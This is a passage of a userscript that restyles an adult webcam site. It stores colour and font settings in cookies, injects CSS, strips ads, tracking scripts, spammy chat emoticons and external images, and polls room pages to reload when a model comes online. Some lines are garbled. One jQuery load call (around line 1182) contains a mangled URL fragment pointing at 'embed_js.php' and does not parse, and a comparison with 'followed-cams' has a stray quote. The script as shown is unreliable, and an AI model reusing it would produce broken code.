  873.             var close = document.createElement('A');
  874.             var saveTxt = document.createTextNode('Save');
  875.             var closeTxt = document.createTextNode('Close');
  876.             save.setAttribute('id', 'saveBut');
  877.             close.setAttribute('id', 'closeBut');
  878.             save.setAttribute('style', 'position:absolute; top:290px; left:364px; background-color:#ffffff; border:1px solid #181818; border-radius:4px; padding:2px 6px; z-index:1002;');
  879.             close.setAttribute('style', 'position:absolute; top:290px; left:314px; background-color:#ffffff; border:1px solid #181818; border-radius:4px; padding:2px 6px; z-index:1002;');
  880.             save.setAttribute('href', '#');
  881.             close.setAttribute('href', '#');
  882.             close.onclick = function() {
  883.                 $('.jscolor').hide();
  884.                 location.reload();
  885.             };
  886.             save.onclick = function() {
  887.                 $('.jscolor').hide();
  888.                 var color1 = document.getElementById('lightColor').value;
  889.                 var color2 = document.getElementById('darkColor').value;
  890.                 var color3 = document.getElementById('modelNameBox').value;
  891.                 var color4 = document.getElementById('fontNameBox').value;
  892.                 //===================================================== Check first checkbox from cookie
  893.                 var varCheck = document.getElementById('checkBox').checked;
  894.                 if (varCheck === true) {
  895.                     document.cookie = 'cb-chkbx=locked; expires=' + later.toUTCString() + '; path=/';
  896.                 }
  897.                 else {
  898.                     document.cookie = 'cb-chkbx=unlocked; expires=' + later.toUTCString() + '; path=/';
  899.                 }
  900.                 //===================================================== Check second checkbox from cookie
  901.                 var varCheck2 = document.getElementById('checkBox2').checked;
  902.                 if (varCheck2 === true) {
  903.                     document.cookie = 'cb-chkbx-2=locked; expires=' + later.toUTCString() + '; path=/';
  904.                 }
  905.                 else {
  906.                     document.cookie = 'cb-chkbx-2=unlocked; expires=' + later.toUTCString() + '; path=/';
  907.                 }
  908.                 //===================================================== Set color hex values in cookies
  909.                 document.cookie = 'cb-color1=' + color1 + '; expires=' + later.toUTCString() + '; path=/';
  910.                 document.cookie = 'cb-color2=' + color2 + '; expires=' + later.toUTCString() + '; path=/';
  911.                 document.cookie = 'cb-color3=' + color3 + '; expires=' + later.toUTCString() + '; path=/';
  912.                 if (color4 == 1) {
  913.                     document.cookie = 'cb-color4=' + "Rockwell" + '; expires=' + later.toUTCString() + '; path=/';
  914.                 } else if (color4 == 2) {
  915.                     document.cookie = 'cb-color4=' + "Tw Cen MT" + '; expires=' + later.toUTCString() + '; path=/';
  916.                 } else if (color4 == 3){
  917.                     document.cookie = 'cb-color4=' + "Verdana" + '; expires=' + later.toUTCString() + '; path=/';
  918.                 }
  919.  
  920.                 location.reload();
  921.             };
  922.             close.appendChild(closeTxt);
  923.             save.appendChild(saveTxt);
  924.             document.body.appendChild(close);
  925.             document.body.appendChild(save);
  926.         };
  927.         edit.appendChild(editTxt);
  928.         document.body.appendChild(edit);
  929.     });
  930. }
  931. //===================================================== Creates the SETTINGS Link only on these pages
  932. var versionTxt = document.URL;
  933. var locPathName = location.pathname;
  934. var chtBox = $('.chat-box');
  935. if ((locPathName === '/trans-cams/') || (locPathName === '/') || (versionTxt === 'https://chaturbate.com/')) {
  936.     var myGarbageCollector = setInterval(myTimer, 1000);
  937.     quickCheck();
  938. } else if (chtBox) {
  939.     var myGarbageCollector2 = setInterval(chatGraphics, 50000);//Chatbox exists, add timer to clean chat spam
  940.     var tTip = $('#tooltip-subject');
  941.     if (tTip) { tTip.remove(); }  //Remove the Room Subject Tooltip that sometimes gets stuck open
  942.     var nextcam = $( ".nextcam" );
  943.     if (nextcam) { nextcam.remove(); } //Remove SCAN cams and NEXT CAM tabs
  944. }
  945. //===================================================== Function to find annoying chat graphics
  946. function chatGraphics () {
  947.     var strTitle = [":notips", ":comeontipguys", ":tip", ":tokens", ":tipifyoulike", ":tipguyz", ":motivation" +
  948.     ":moretipsgreatshow", ":moreme", ":mmmh", ":tipguys", ":notipnoshow", ":plssendtip01" +
  949.     ":moretipmoreshow2", ":tipsshow", ":plsfollow01", ":transfrot", ":moretips1", ":150" +
  950.     ":tipsee", ":tokensforreqests", ":showtip", ":suckingdeep"];
  951.     for (var j=0;j<strTitle.length;j++){
  952.         var imageString = $('img[title="' + strTitle[j] + '"]');
  953.         if (imageString) {
  954.             imageString.remove();
  955.         }
  956.     }
  957. }
  958.  
  959. function addGlobalStyle(css) {
  960.     var head, style;
  961.     head = document.getElementsByTagName('head')[0];
  962.     if (!head) { return; }
  963.     style = document.createElement('style');
  964.     style.type = 'text/css';
  965.     style.innerHTML = css;
  966.     head.appendChild(style);
  967. }
  968.  
  969. addGlobalStyle('#header .ad {display:none!important;}' +
  970.     '.logo {background:url(\'https://greasyfork.org/system/screenshots/screenshots/000/003/216/thumb/logo-standard.png\') no-repeat!important;}' +
  971.     '#main .ad {display:none!important;}' +
  972.     '#botright {display:none!important;}' +
  973.     '#main .banner {display:none!important;}' +
  974.     '#close_entrance_terms {background-color:#' + color[0] + '!important;}' +
  975.     '#close_broadcast_terms {background-color:#' + color[0] + '!important;}' +
  976.     'a {color:#' + color[1] + '!important; outline-style:none!important; text-decoration:none!important;}' +
  977.     'a:hover {color:#777777!important;}' +
  978.     'body {background-color:#000000!important;}' +
  979.     '#header {background-image:http://deplist.weebly.com/uploads/6/1/9/1/61911901/7467455_orig.png!important; background-color:#' + color[0] + '!important;}' +
  980.     '#header .section {background-color:#' + color[0] + '!important;}' +
  981.     '#main .top-section p{margin:0 0 1px!important;}' +
  982.     '#main .top-section {border-bottom:1px solid #000000!important; border-bottom-width: thin!important; border-bottom-style: double!important; box-shadow: 0 5px 1px 6px #000000!important; padding:0px 19px 0 19px!important;}' +
  983.     '.sub-nav {display:inline-block;position:relative;top:0.5px;left:38%!important;min-width:275px;list-style:none;margin:0;padding:0;height:1%;overflow:hidden;font-family:\'Nyala\'!important;}' +
  984.     '#main .top-section .sub-nav {background-image:none!important;}' +
  985.     '#main .content {background-color:#' + color[0] + '!important; padding:5px 0px 14px 0!important;}' +
  986.     '#header .nav-bar {background-color:#' + color[1] + '!important; border-color:#cbcbcb!important;}' +
  987.     '#nav {font-family:Tw Cen MT!important; padding-bottom:5px!important;}' +
  988.     '#nav li a {color:#eeeeee!important;}' +
  989.     '#nav li a:hover {color:#' + color[0] + '!important;}' +
  990.     '#header .creat {font-family:\'Nyala\'!important; color:#cbcbcb!important; background-color:#FFFFFF!important; background-image:none!important; padding-left:2px!important; padding-bottom:5px!important; border-radius:0!important;}' +
  991.     '#main .top-section .sub-nav a {font-family:' + color4 + '!important; top:0px!important; left:38%!important; color:#003366!important; border-color:#000000!important; background-color:#ffffff!important; border-style: groove!important; border-width: 2px!important; text-shadow: .6px .3px 1px #000000!important; padding:2px 15px 1px!important;}' +
  992.     '#main .top-section .sub-nav a:hover {color:#e60000!important; top:0px!important; left:38%!important; background-color:#ffffff!important;cursor: auto;}' +
  993.     '#main .top-section .sub-nav .active a {color:#FF0000!important; top:0px!important; left:38%!important; background-color:#ffffff!important; }' +
  994.     '#main .top-section .actions li a {padding-left:10px!important; background-color:#' + color[0] + '!important; background-image:none!important; border-color:#888888!important;}' +
  995.     'strong {color:#131313!important;}' +
  996.     'h1, h2, h3 {color:#' + color[1] + '!important;}' +
  997.     '#main .content .endless_page_template {width:100%!important; margin:0 10px 0 32px!important;}' +
  998.     '.thumbnail_label_c {background-color:#181818!important;}' +
  999.     '.thumbnail_label_c_hd {background-color:#' + color[1] + '!important;}' +
  1000.     '.thumbnail_label_transsexual {background-color:#ff0000!important;}' +
  1001.     '.thumbnail_label_c_new {background-color:#545454!important;}' +
  1002.     '#defchat .section .chat-holder .chat-box .users-list .text .color-p {color:#be6aff!important;}' +
  1003.     '#defchat .section .chat-holder .chat-box .users-list .text .color-l {color:#804baa!important;}' +
  1004.     '#defchat .section .chat-holder .chat-box .users-list .text .color-o {color:#dc5500!important;}' +
  1005.     '#defchat .section .chat-holder .chat-box .users-list .text .color-m {color:#dc0000!important;}' +
  1006.     '#defchat .section .chat-holder .chat-box .users-list .text .color-f {color:#00cf00!important;}' +
  1007.     '#defchat .section .chat-holder .chat-box .users-list .text .color-tr {color:#000099!important;}' +
  1008.     '#defchat .section .chat-holder .chat-box .users-list .text .color-t {color:#6699aa!important;}' +
  1009.     '#defchat .section .chat-holder .chat-box .users-list .text .color-g {color:#666666!important;}' +
  1010.     '#defchat .section .chat-holder .chat-box .chat-list .roommessagelabel {color:#' + color[1] + '!important;}' +
  1011.     '.users-list, .settings-list, .chat-list {padding:0 11px 0 11px!important; width: auto!important;}' +
  1012.     '#main .content .c-1 {width:100%!important; margin-right:0px!important; margin:6px!important;}' +
  1013.     '.paging li a {background-color:#ffffff!important; border-color:#' + color[1] + '!important; background-image:none!important;}' +
  1014.     '.paging li a:hover {background-color:#ffffff!important;}' +
  1015.     '.paging .prev {border-radius:30px 0 0 30px!important;}' +
  1016.     '.paging .next {border-radius:0 30px 30px 0!important;}' +
  1017.     '.paging .endless_page_link {color:#181818!important;}' +
  1018.     '.paging .active .endless_page_link {color:#' + color[1] + '!important; background-color:#ffffff!important;}' +
  1019.     '#main .content .featured_blog_posts .blog_post .title_shell {background-image:none!important;}' +
  1020.     '#main .content .featured_blog_posts .blog_post .title_shell .title {background-color:transparent!important;}' +
  1021.     '.footer-holder {background-color:#eeeeee!important; background-image:none!important; border-top:2px solid #cbcbcb!important;}' +
  1022.     '#jscontext .jscontextBtn {color:#' + color[1] + '!important;}' +
  1023.     '#jscontext .jscontextBtn:hover {color:#eeeeee!important;}' +
  1024.     '#defchat .section .chat-holder .chat-box .chat-form .row .button_send {background-color:#888888!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  1025.     '#defchat .section .chat-holder .chat-box .chat-form .row .button_send a {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
  1026.     '#defchat .section .chat-holder .chat-box .chat-form .row .button_send a:hover {color:#ffffff!important;}' +
  1027.     '#defchat .section .chat-holder .chat-box .chat-form {margin-right:12px!important;}' +
  1028.     '#defchat .info-user .headline .socials .button_share {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  1029.     '#defchat .info-user .headline .socials .button_share a {background-image:none!important; text-shadow:none!important;}' +
  1030.     '#defchat .info-user .headline .socials .button_follow {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  1031.     '#defchat .info-user .headline .socials .button_follow a {background-image:none!important; text-shadow:none!important;}' +
  1032.     '#defchat .info-user .headline .socials .button_unfollow {background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  1033.     '#defchat .info-user .headline .socials .button_unfollow a {background-image:none!important; text-shadow:none!important;}' +
  1034.     '#defchat .section .video-box .tip_shell .green_button_tip {background-color:#777777!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  1035.     '#defchat .section .video-box .tip_shell .green_button_tip .tip_button {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
  1036.     '#defchat .section .video-box .tip_shell .green_button_tip .tip_button:hover {color:#ffffff!important;}' +
  1037.     '#defchat .offline_tipping .green_button_tip_offline {background-color:#777777!important; background-image:none!important; border-radius:4px 4px 4px 4px!important;}' +
  1038.     '#defchat .offline_tipping .green_button_tip_offline .tip_button {color:#eeeeee!important; background-image:none!important; text-shadow:none!important;}' +
  1039.     '#defchat .offline_tipping .green_button_tip_offline .tip_button:hover {color:#ffffff!important;}' +
  1040.     '#defchat .section .video-box .tip_shell .goal_display .goal_display_table .dark_blue {background-color:#' + color[0] + '!important;}' +
  1041.     '.follow_tooltip, .share_tooltip, #rate_tooltip, #rated_tooltip, #rate_dim_tooltip, #broadcaster_rating_tooltip {background-color:#eeeeee!important; border-color:#777777!important;}' +
  1042.     '.follow_tooltip img, .share_tooltip img, #rate_tooltip img, #rated_tooltip img, #rate_dim_tooltip img, #broadcaster_rating_tooltip img {display:none!important;}' +
  1043.     '#tabs_content_container dl dt {color:#' + color[1] + '!important;}' +
  1044.     '#tabs_content_container .pics-description .photo_list .user_upload .thumbnail_label_tokens {background-color:#181818!important;}' +
  1045.     '#body_border .user_uploads .user_upload .thumbnail_label_tokens {background-color:#181818!important;}' +
  1046.     '#filter_search_form .button {background-color:#' + color[1] + '!important; background-image:none!important; padding-left:28px!important;}' +
  1047.     '#filter_search_form .button:hover {text-decoration:none!important;}' +
  1048.     '#defchat {width:auto!important;}' +
  1049.     '.section {width:100%!important;}' +
  1050.     '.block {margin-right:12px!important; border:1px ridge #000000!important; padding: 4px!important;}' +
  1051.     '#login-box {border-color:#777777!important; z-index:2001!important;}' +
  1052.     '#login-box .pagename {position:relative!important; top:-4px!important; left:-2px!important; font-family:\'trebuchet ms\'!important; color:#' + color[1] + '!important;}' +
  1053.     '#login-box .button {padding-left:14px!important; color:#454545!important; background-color:#cbcbcb!important; background-image:none!important;}' +
  1054.     '#login-box .button:hover {color:#eeeeee!important; background-color:#888888!important; text-decoration:none!important;}' +
  1055.     '#user_information .top {background-color:#' + color[1] + '!important; border-radius:2px 2px 0 0!important; padding:5px 3px 4px 5px!important;}' +
  1056.     '#user_information .top .username{display:inline-block;font:14px; font-family:\'Nyala\'!important;overflow:hidden;margin:0 12px 0 5px;max-width:125px;text-overflow:ellipsis;white-space:nowrap;position:relative;top:3px;}' +
  1057.     '#user_information {position:absolute!important; top:-9px!important; right:0!important;}' +
  1058.     '#user_information .top a {color:#eeeeee!important;}' +
  1059.     '#user_information .top a:hover {color:#cbcbcb!important;}' +
  1060.     '#user_information .tokencountlink {font-size:11px!important;}' +
  1061.     '#user_information .bottom {border-color:#' + color[1] + '!important;}' +
  1062.     '#apps_and_bots_table tr legend {color:#' + color[1] + '!important;}' +
  1063.     '#leaderboard .number {color:#181818!important;}' +
  1064.     '#leaderboard .position_1 {color:#' + color[1] + '!important;}' +
  1065.     '#tag_table {border-color:#' + color[1] + '!important;}' +
  1066.     '#tag_table .headers {background-color:#' + color[1] + '!important;}' +
  1067.     '#tag_table .tag_row:nth-child(2n+1) {background-color:#' + color[0] + '!important;}' +
  1068.     '#broadcaster_settings legend {color:#' + color[1] + '!important;}' +
  1069.     '.button {color:#' + color[1] + '!important; text-decoration:none!important; background-color:#eeeeee!important; background-image:none!important; border-radius:4px 4px 4px 4px!important; padding:0 15px 2px 15px!important;}' +
  1070.     '.button:hover {color:#131313!important;}' +
  1071.     '#filter_search_form p .button {color:#cbcbcb!important; padding:2px 6px!important;}' +
  1072.     '#filter_search_form p .button:hover {color:#e6e6e6!important;}' +
  1073.     '#suggest_app img {display:none!important;}' +
  1074.     'a.user_upload_preview {color:#181818!important;}' +
  1075.     'a.user_upload_preview:hover {color:#777777!important;}' +
  1076.     '.overlay_popup .formborder {border:2px solid #' + color[1] + '!important; border-radius:4px!important;}' +
  1077.     '.overlay_popup .divider {display:none!important;}' +
  1078.     '.overlay_popup .title {color:#' + color[1] + '!important;}' +
  1079.     '.app_launch a {background-color:#cbcbcb!important;}' +
  1080.     '.proposal_votes {background-color:#cbcbcb!important;}' +
  1081.     '.related {color:#' + color[1] + '!important;}' +
  1082.     '.document, .related {background-color:#' + color[0] + '!important;}' +
  1083.     '.sphinxsidebar ul, .sphinxsidebar h4, .sphinxsidebar p, .footer {color:#777777!important;}' +
  1084.     '.datatable, .datatable th {background-color:#' + color[1] + '!important;}' +
  1085.     '.code {color:#' + color[1] + '!important;}' +
  1086.     '.fixnav {position:fixed!important; left:0!important; top:0!important; width:100%!important; height:auto!important; z-index:999!important;}' +
  1087.     '#login-overlay {z-index:2000!important;}' +
  1088.     '#overlay {z-index:1001!important;}' +
  1089.     '#entrance_terms, #broadcast_terms {z-index:1002!important;}' +
  1090.     '.tip_popup img {display:none!important;}' +
  1091.     '.tabs {background-color:#e6e6e6!important;}' +
  1092.     '#app_title {color:#' + color[1] + '!important;}' +
  1093.     'legend {color:#' + color[1] + '!important;}' +
  1094.     '.share {background-color:#e6e6e6!important;}' +
  1095.     '.blue, .ourtitle, .choiceclear {color:#' + color[1] + '!important;}');
  1096. //===============================================
  1097. //===============================================
  1098. var getName = location.pathname;
  1099. var latest = getName.slice(1,-1);
  1100.  
  1101. if (latest == 'tags') {
  1102.     latest = '';
  1103. }
  1104.  
  1105. var prof = latest.search('p/');
  1106. if (prof === 0) {
  1107.     latest = latest.replace('p/', '');
  1108. }
  1109.  
  1110. var broad = latest.search('b/');
  1111. if (broad === 0) {
  1112.     latest = latest.replace('b/', '');
  1113. }
  1114.  
  1115. var app = latest.search('app');
  1116. if (app === 0) {
  1117.     document.getElementById('verText').innerHTML = '';
  1118.     document.getElementById('editBut').innerHTML = '';
  1119. }
  1120.  
  1121. var apps = latest.search('apps');
  1122. if (apps === 0) {
  1123.     latest = latest.replace('apps', '');
  1124.     document.getElementById('verText').innerHTML = '';
  1125.     document.getElementById('editBut').innerHTML = '';
  1126. }
  1127.  
  1128. var affiliates = latest.search('affiliates/api/onlinerooms');
  1129. if (affiliates === 0) {
  1130.     latest = latest.replace('affiliates/api/onlinerooms', '');
  1131.     document.getElementById('verText').innerHTML = '';
  1132.     document.getElementById('editBut').innerHTML = '';
  1133. }
  1134.  
  1135. var feeds = latest.search('feed/latest');
  1136. if (feeds === 0) {
  1137.     latest = latest.replace('feed/latest', '');
  1138.     document.getElementById('verText').innerHTML = '';
  1139.     document.getElementById('editBut').innerHTML = '';
  1140. }
  1141.  
  1142. var photovid = latest.search('photo_videos/');
  1143. var tipping = latest.search('tipping/');
  1144. var emoticons = latest.search('emoticons');
  1145. if ((photovid === 0) || (tipping === 0) || (emoticons === 0)) {
  1146.     document.getElementById('verText').innerHTML = '';
  1147.     document.getElementById('editBut').innerHTML = '';
  1148. }
  1149.  
  1150. var pic = document.createElement('IMG');
  1151. pic.setAttribute('id', 'newImage');
  1152. pic.setAttribute('src', 'https://roomimg.stream.highwebmedia.com/ri/' + latest + '.jpg');
  1153. pic.setAttribute('style', 'position:' + posi + '; top:0; right:268px; border:1px solid #' + color[1] + '; width:95px; height:78px; z-index:1000;');
  1154. pic.onload = function() {
  1155.     if ((latest != '/propose_app') && (latest != '/proposals') && (latest != '/upload_app') && (latest != '/search') && (latest != 'emoticons')) {
  1156.         document.body.appendChild(pic);
  1157.     }
  1158. };
  1159. pic.onerror = function() {
  1160.     pic.setAttribute('style', 'display:none;');
  1161. };
  1162.  
  1163. var link = document.getElementsByTagName('a');
  1164. for (i = 0; i < link.length; i++) {
  1165.     if (link[i].href.indexOf('?url=') != -1) {
  1166.         linkhref = unescape(link[i].href);
  1167.         newlinkhref = linkhref.substring(linkhref.indexOf("?url=") + 5, linkhref.indexOf("&domain"));
  1168.         link[i].href = newlinkhref;
  1169.     }
  1170. }
  1171.  
  1172. var broadcasting = '/b/' + latest + '/';
  1173.  
  1174. var onCheck = document.createElement('INS');
  1175. var onTxt = document.createTextNode('');
  1176. onCheck.setAttribute('id', 'checkOn');
  1177. onCheck.setAttribute('style', 'display:none;');
  1178. onCheck.appendChild(onTxt);
  1179. document.body.appendChild(onCheck);
  1180.  
  1181. $('#checkOn').load('https://chaturbate.com/' + latest + '#defchat p strong');
  1182. $('#checkOn').load('https://chaturbate.com/'/'?-_js./embed_js.php?i + latest + '#defchat p strong');
  1183.  
  1184. setTimeout(function() {
  1185.     var getOn = document.getElementById('checkOn').textContent;
  1186.     var stripTags = getOn.search('Room is currently offline');
  1187.     if (stripTags !== 0) {
  1188.         return;
  1189.     }
  1190.     else {
  1191.         setInterval(function() {
  1192.             $('#checkOn').load('https://chaturbate.com/' + latest + '#defchat p strong');
  1193.             setTimeout(function() {
  1194.                 var reCheck = document.getElementById('checkOn').textContent;
  1195.                 var reStrip = reCheck.search('Room is currently offline');
  1196.                 if (reStrip === 0) {
  1197.                     return;
  1198.                 }
  1199.                 else if (getName == broadcasting) {
  1200.                     return;
  1201.                 }
  1202.                 else {
  1203.                     location.reload();
  1204.                 }
  1205.             }, 5000);
  1206.         }, 5000);
  1207.     }
  1208. }, 5000);
  1209.  
  1210. // =============================================================================
  1211. // === Remove Thumbnail Preview Lock Icon to make Preview more Visible =========
  1212. // =============================================================================
  1213. pictures = document.getElementsByClassName('preview');
  1214. if (pictures) {
  1215.     for (i = 0; i < pictures.length; i++) {
  1216.         if (pictures[i].getAttribute("alt") == "Locked") {
  1217.             pictures[i].parentNode.removeChild(pictures[i]);
  1218.         }
  1219.     }
  1220. }
  1221. // =============================================================================
  1222. // === Create Favorite Model Cam ===============================================
  1223. // =============================================================================
  1224. if (color3 !== '') {
  1225.     if (latest == ''followed-cams') {
  1226.        var chgAct = document.getElementsByClassName('sub-nav')[0].innerHTML;
  1227.        var exCheck = chgAct.search('<li class="active">');
  1228.        if (exCheck) {
  1229.            chgAct = chgAct.replace('<li class="active">', '<li>');
  1230.        }
  1231.        var newEx = chgAct + '<li class="active"><a href="/' + color3 + '/">' + color3 + '</a></li>';
  1232.        document.getElementsByClassName('sub-nav')[0].innerHTML = newEx;
  1233.    } else if (getName == broadcasting) {
  1234.        console.log('Broadcasting Interface Detected');
  1235.    } else {
  1236.        var getSub = document.getElementsByClassName('sub-nav')[0].innerHTML;
  1237.        var addEx = getSub + '<li><a href="/' + color3 + '/">' + color3 + '</a></li>';
  1238.        document.getElementsByClassName('sub-nav')[0].innerHTML = addEx;
  1239.    }
  1240. }
  1241. var getSubAgain = document.getElementsByClassName('sub-nav')[0].innerHTML;
  1242. var addExAgain = getSubAgain + '<li><a href="' + document.URL + '">' + 'REFRESH' + '</a></li>';
  1243. document.getElementsByClassName('sub-nav')[0].innerHTML = addExAgain;
  1244. // =============================================================================
  1245. if (color4 === ''){
  1246.    color4 = "Tw Cen MT"
  1247. }
  1248. // =============================================================================
  1249. // === Remove Sections =========================================================
  1250. // =============================================================================
  1251. function removeEBP() {
  1252.    MV_removeElementsByPath("//img[contains(@src, 'postimg.org')]");
  1253.    MV_removeElementsByPath("//img[contains(@src, 'www.dmca.com/App_Themes/')]");
  1254.    MV_removeElementsByPath("//img[contains(@src, 'http://s06.flagcounter.com')]");
  1255.     MV_removeElementsByPath("//img[contains(@src, 'http://s09.flagcounter.com')]");
  1256.     MV_removeElementsByPath("//img[contains(@src, 'http://25.media.tumblr.com')]");
  1257.     MV_removeElementsByPath("//img[contains(@src, '4.bp.blogspot.com')]");
  1258.     MV_removeElementsByPath("//img[contains(@src, 'https://3.bp.blogspot.com')]");
  1259.     MV_removeElementsByPath("//img[contains(@src, 'https://2.bp.blogspot.com')]");
  1260.     MV_removeElementsByPath("//img[contains(@src, 'https://1.bp.blogspot.com')]");
  1261.     MV_removeElementsByPath("//img[contains(@src, 'ig-badge-48.png')]");
  1262.     MV_removeElementsByPath("//img[contains(@src, 'dmca_protected')]");
  1263.     MV_removeElementsByPath("//img[contains(@src, 'imgur')]");
  1264.     MV_removeElementsByPath("//img[contains(@src, 'www.camfolk.info/')]");
  1265.     MV_removeElementsByPath("//img[contains(@src, 'http://www.asocea.com')]");
  1266.     MV_removeElementsByPath("//img[contains(@src, 'tinypic.com')]");
  1267.     MV_removeElementsByPath("//img[contains(@src, 'photobucket.com')]");
  1268.     MV_removeElementsByPath("//img[contains(@src, 'imageshack.com')]");
  1269.     MV_removeElementsByPath("//img[contains(@src, 'ecx.images-amazon.com')]");
  1270.     MV_removeElementsByPath("//img[contains(@src, 'dresden-stollen.com')]");
  1271.     MV_removeElementsByPath("//img[contains(@src, 'hatchnorfolk.com')]");
  1272.     MV_removeElementsByPath("//img[contains(@src, 'icons.iconarchive.com')]");
  1273.     MV_removeElementsByPath("//img[contains(@src, 'googleusercontent.com')]");
  1274.     MV_removeElementsByPath("//img[contains(@src, 'server.myspace-shack.com')]");
  1275.     MV_removeElementsByPath("//img[contains(@src, 'images.dmca.com/Badges/')]");
  1276.     MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-grn-btn100w.png')]");
  1277.     MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-std-btn140w.png')]");
  1278.     MV_removeElementsByPath("//img[contains(@src, 'dmca_normal.png')]");
  1279.     MV_removeElementsByPath("//img[contains(@src, 'DMCA_logo-200w_a_zpsf5mn8hoq.png')]");
  1280.     MV_removeElementsByPath("//img[contains(@src, '_dmca_premi_badge_2.png')]");
  1281.     MV_removeElementsByPath("//img[contains(@src, 'amazon_jk.png')]");
  1282.     MV_removeElementsByPath("//img[contains(@src, 'https://45.media.tumblr.com')]");
  1283.     MV_removeElementsByPath("//img[contains(@src, 'picasion.com')]");
  1284.     MV_removeElementsByPath("//img[contains(@src, 'glitterfy.com')]");
  1285.     MV_removeElementsByPath("//img[contains(@style, 'width:400px; height:400px')]");
  1286.     MV_removeElementsByPath("//img[contains(@style, 'width:100px; height:100px')]");
  1287.     MV_removeElementsByPath("//img[contains(@style, 'width:64px; height:64px')]");
  1288.     MV_removeElementsByPath("//img[contains(@style, 'width:62px; height:62px')]");
  1289.     MV_removeElementsByPath("//img[contains(@style, 'width:60px; height:60px')]");
  1290.     MV_removeElementsByPath("//img[contains(@style, 'width:55px; height:55px')]");
  1291.     MV_removeElementsByPath("//img[contains(@style, 'width:50px; height:50px')]");
  1292.     MV_removeElementsByPath("//img[contains(@style, 'width:50px; height:57px')]");
  1293.     MV_removeElementsByPath("//img[contains(@style, 'width:48px; height:48px')]");
  1294.     MV_removeElementsByPath("//img[contains(@style, 'width:43px; height:43px')]");
  1295.     MV_removeElementsByPath("//a[contains(@href, 'width:50px; height:50px')]");
  1296.     MV_removeElementsByPath("//a[contains(@href, 'http://i.imgur.com')]");
  1297.     MV_removeElementsByPath("//a[contains(@href, 'http://imgur.com')]");
  1298.     MV_removeElementsByPath("//a[contains(@href, 'amateurmatch')]");
  1299.     MV_removeElementsByPath("//a[contains(@href, 'amazon')]");
  1300.     MV_removeElementsByPath("//a[contains(@href, '/tags/')]");
  1301.     MV_removeElementsByPath("//a[contains(@href, 'https://twitter.com/')]");
  1302.     MV_removeElementsByPath("//a[contains(@href, 'instagram.com/')]");
  1303.     MV_removeElementsByPath("//a[@href='/contest/details/']");
  1304.     //MV_removeElementsByPath("//a[@href='/male-cams/']");
  1305.     //MV_removeElementsByPath("//a[@href='/female-cams/']");
  1306.     MV_removeElementsByPath("//a[@href='/couple-cams/']");
  1307.     //MV_removeElementsByPath("//a[@href='/spy-on-cams/']");
  1308.     MV_removeElementsByPath("//div[@class='nav-bar']//li/a[@href='/tipping/free_tokens/']");
  1309.     MV_removeElementsByPath("//div[@class='c-1 endless_page_template']//div[@class='thumbnail_label thumbnail_label_c']");
  1310.     MV_removeElementsByPath("//div[@class='nav-bar']//li/a[@href='http://blog.chaturbate.com/']");
  1311.     MV_removeElementsByPath("//div[@class='top-section']//li/a[@href='/']");
  1312.     MV_removeElementsByPath("//div[@class='featured_text']");
  1313.     MV_removeElementsByPath("//div[@class='footer-holder']");
  1314.     MV_removeElementsByPath("//div[@class='featured_blog_posts']");
  1315.     MV_removeElementsByPath("//div[contains(@class, 'thumbnail_label thumbnail_label_c')]");
  1316.     MV_removeElementsByPath("//div[contains(@class, 'thumbnail_label thumbnail_label_tokens')]");
  1317.     var headerAD = $('.ad');
  1318.     if (headerAD) { headerAD.remove(); } //Remove AD sections hidden inside the page Header
  1319. // =============================================================================
  1320.     var scriptTest = $('script[src="https://cdn.exoticads.com/xads.js"]');
  1321.     if (scriptTest) { scriptTest.remove(); } //Remove the garbage AD script
  1322. // =============================================================================
  1323.     var scriptTest2 = $('script[src="https://ssl.google-analytics.com/ga.js"]');
  1324.     if (scriptTest2) { scriptTest2.remove(); } //Remove the google analytics tracking script
  1325. // =============================================================================
  1326.     var removeGAQ = $('script[id="gaq"]');
  1327.     if (removeGAQ) { removeGAQ.remove(); } //Remove the google tracking script
  1328. }
  1329. // =============================================================================
  1330. // === Functions================================================================
  1331. // =============================================================================
  1332. // Include start [domUtil.js]
  1333. function MV_removeElementsByPath(pPath) {
  1334.     var pathResult = document.evaluate(pPath, document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
  1335.     if(pathResult.snapshotLength > 0) {
  1336.         for(var i=0; i < pathResult.snapshotLength; i++) {
  1337.             var pathNode = pathResult.snapshotItem(i);
  1338.             pathNode.parentNode.removeChild(pathNode);
  1339.         }
  1340.     }
  1341. }
  1342. // =============================================================================
  1343. // === Get Elements By Path ====================================================
  1344. // =============================================================================
  1345. function MV_getElementByPath(pPath, pRoot) {
  1346.     var pathResult = document.evaluate(pPath, pRoot === null ? document : pRoot, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
  1347.     return pathResult.snapshotLength <= 0 ? null : pathResult.snapshotItem(0);
  1348. }
  1349. // =============================================================================
  1350. // === Create Button ===========================================================
  1351. // =============================================================================
  1352. function MV_createButton(pAttributes, pClickListener) {
  1353.     pAttributes.type = "button";
  1354.     var resultElement = MV_createElement("input", pAttributes);
  1355.     if(pClickListener !== null) {
  1356.         resultElement.addEventListener("click", pClickListener, true);
  1357.     }
  1358.     return resultElement;
  1359. }
  1360. // =============================================================================
  1361. // === Create Element ==========================================================
  1362. // =============================================================================
  1363. function MV_createElement(pElementName, pAttributes, pInnerHtml) {
  1364.     var resultElement = document.createElement(pElementName);
  1365.     for(var attributeName in pAttributes) {
  1366.         resultElement.setAttribute(attributeName, pAttributes[attributeName]);
  1367.     }
  1368.     if(pInnerHtml !== null) {
  1369.         resultElement.innerHTML = pInnerHtml;
  1370.     }
  1371.     return resultElement;
  1372. }
  1373.  
  1374. var passCheck = document.createElement('INS');
  1375. var passTxt = document.createTextNode('');
  1376. passCheck.setAttribute('id', 'checkPass');
  1377. passCheck.setAttribute('style', 'display:none;');
  1378. passCheck.appendChild(passTxt);
  1379. document.body.appendChild(passCheck);
  1380.  
  1381. $('#checkPass').load('https://chaturbate.com/' + latest + '#main .content .c-1 .block h1');
  1382.  
  1383. setTimeout(function() {
